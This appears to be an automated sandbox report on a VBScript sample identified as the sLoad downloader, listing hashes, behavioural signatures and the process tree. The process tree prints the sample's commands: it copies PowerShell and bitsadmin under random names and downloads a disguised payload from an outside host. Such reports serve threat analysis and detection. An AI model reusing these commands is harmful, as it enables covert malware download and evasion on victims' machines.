Analysis

  • max time kernel
    146s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-12-2023 20:58

General

  • Target

    9ce4684fb3f4cb15b06c81e5793dfa19.vbs

  • Size

    10KB

  • MD5

    9ce4684fb3f4cb15b06c81e5793dfa19

  • SHA1

    0eac6eb9a83291bc91e8d076dad09d2127f791a4

  • SHA256

    d79a3fc774f33dd5627f9890aaecd2a7b2345a31352e0220cdea8879271e3dec

  • SHA512

    33a9d854d4cbbe8621b879ffd62959b88b67d644be905aea733f1bed2c9a52ed16ee140b1b412a21d508cd338b10f7b3fe21e2f577334be0f0c1506aaea8f49e

  • SSDEEP

    192:6kgUyxM50kJxhK4yf3AaKBToCoio/jVpudh6Af/5P3t9x12Gwz6QBGNoE4rT:zBf/JxhK4yIHtoCoiofudh6i/5/t9WG+

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9ce4684fb3f4cb15b06c81e5793dfa19.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5008
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fAIMV.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\nJmktPL*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4496
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fAIMV.exe
        3⤵
          PID:4940
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\nJmktPL*.exe
          3⤵
            PID:3184
        • C:\ProgramData\nJmktPLin.exe
          "C:\ProgramData\nJmktPLin.exe" /transfer xvSxFW /download https://belfetproduction.com/bella/02022450767/en.jpg C:\Users\Admin\AppData\Roaming\en.jpg
          2⤵
          • Executes dropped EXE
          PID:4880

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\nJmktPLin.exe

        Filesize

        182KB

        MD5

        f57a03fa0e654b393bb078d1c60695f3

        SHA1

        1ced6636bd2462c0f1b64775e1981d22ae57af0b

        SHA256

        c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

        SHA512

        7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a